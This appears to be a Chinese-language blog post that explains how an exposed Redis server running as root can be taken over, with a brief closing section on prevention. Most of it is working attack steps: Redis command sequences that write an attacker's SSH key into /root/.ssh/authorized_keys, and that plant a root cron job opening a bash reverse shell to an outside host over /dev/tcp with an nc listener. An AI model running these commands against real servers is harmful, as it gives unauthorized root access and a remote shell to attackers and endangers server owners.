这两天朋友的服务器被入侵了,仔细查看 Log 后,发现是由于错误配置了 Redis,被黑客利用进行提权。就此记录一下怎样利用 Redis 获取 Linux 系统权限。

入侵原理

说实话,当我学习到入侵方法的时候,感觉惊为天人,真是太聪明了。其实入侵原理非常简单,就是利用 Redis 的 config set dirconfig set dbfilename 命令,将任意数据,写入任意想要写入的文件,然后为所欲为 😂。具体的攻击方法有以下几种:

攻击方法一: 利用 /root/.ssh/authorized_keys 文件

这种方式最为简单粗暴,直接利用了 SSH 免密码登录的方式,就能够拿到 root 权限。我简单解释一下,OpenSSH 提供了利用 RSA 公钥免密码登录的功能,只要在 $HOME/.ssh/ 目录下 authorized_keys 文件中,写入 RSA 公钥,就可以用对应 RSA 私钥,免密码登录服务器。

而黑客正是利用这一特性,在 Redis 中存入入侵公钥,再将数据写入 /root/.ssh/authorized_keys 作为备份文件,从而完成攻击。具体的攻击流程,就是在 Redis 中写入如下命令:

flushdb # 清空 redis 数据,非必须,但是这样可以让入侵写入文件更快速
set x "\n\n YOUR_ID_RSA_PUB \n\n" # 准备需要写入的 RSA 公钥
config set dir "/root/.ssh/" # 将备份 dir 设置成 /root/.ssh/
config set dbfilename "authorized_keys" # 将备份文件设置成 authorized_keys
save # 写入文件,完成攻击

5 条命令,就可以轻松在 /root/.ssh/authorized_keys 里面建立攻击用公钥,真是简单粗暴,我喜欢 😂。

攻击方法二: 利用 /var/spool/cron/root 文件

这种方式稍微优雅一些,如果没有 /root/.ssh 目录或者 SSH 设置了不允许用户登录的话,就可以利用 crontab 定时任务,定时建立一个远程连接,主动邀请黑客登录,具体攻击流程如下:

首先找一台公网服务器,利用 NC 建立一个 TCP 监听:nc -vvl 8080,然后在 Redis 中利用 crontab 连接这台服务器即可,套路和第一种方式基本一致:

flushdb # 清空 redis 数据,非必须,但是这样可以让入侵写入文件更快速
set x "\n\n */1 * * * * /bin/bash -i >& /dev/tcp/PUBLIC_IP/8080 0>&1 \n\n" # 定时连接远程端口,并启用 bash
config set dir "/var/spool/cron/" # 将备份 dir 设置成 /var/spool/cron/
config set dbfilename "root" # 将备份文件设置成 root
save # 写入文件,完成攻击

其他攻击方法

如果 redis 不是 root 权限启动,但是依然可以写入某些文件夹的话,可以利用 Webshell 或者其他技术,探测整个服务器的敏感信息,比如在 PHP 目录服务器写入 <?php phpinfo();?> 等,这些就不在本文的探讨范围了。

怎样防止 redis 入侵

通过上文,可以看出,完成入侵需要以下几个条件:

  1. Redis 以 root 用户启动
  2. Redis 绑定了允许外网访问的端口
  3. 知道 Redis 的密码

所以,聪明的你,应该知道怎样防止 redis 入侵了吧。此外, Redis 官方也有一份安全建议,值得好好读一遍。

参考文档

  1. Redis未授权访问漏洞的利用姿势
  2. Redis-Server-Exploit
  3. Redis Security